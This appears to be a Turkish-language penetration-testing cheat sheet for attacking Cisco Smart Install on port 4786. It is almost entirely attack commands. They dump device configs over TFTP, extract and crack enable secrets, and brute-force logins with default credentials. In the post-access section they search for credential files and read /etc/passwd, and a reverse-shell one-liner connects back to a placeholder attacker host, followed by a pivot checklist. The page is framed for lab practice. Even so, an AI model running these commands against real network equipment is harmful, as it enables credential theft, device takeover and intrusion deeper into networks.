4786 - Cisco Smart Install
Smart Install cisco
Smart Install (4786) sıkça auth’suz config çekimine izin verir; TFTP ile confg sızıntısı klasiktir. Hedef lab IP’si üzerinde komutları 4786 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
4786 doğrula.
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SIA client ile konuş.
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Config dump (TFTP).
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Enable secret kır / credential loot.
nmap -Pn -sV -p4786 TARGETpython3 SIET.py -g -i TARGETmsfconsole -q -x 'use auxiliary/scanner/misc/cisco_smart_install; set RHOSTS TARGET; run; exit'Config dump
Section titled “Config dump”python3 SIET.py -c -i TARGETtcpdump -ni any port 69 -w tftp.pcapgrep -iE 'secret|password|snmp' dumped.confCredential
Section titled “Credential”john --wordlist=rockyou.txt enable.hashSNMP community, TACACS keys, local usersDerin enum
Section titled “Derin enum”Cisco Smart Install için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p4786 TARGETnmap -Pn -p4786 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:4786' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',4786));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → Cisco Smart InstallKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 4786 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 4786nmap -p4786 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit Smart Installmsfconsole -q -x 'search Smart Install; exit'nuclei -u https://TARGET:4786 -t cves/ -silent -severity || truenuclei -u http://TARGET:4786 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 4786printf '' | timeout 3 nc -nv TARGET 4786curl -vk --http1.0 http://TARGET:4786/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”4786 open → SIET config → secrets → network pivot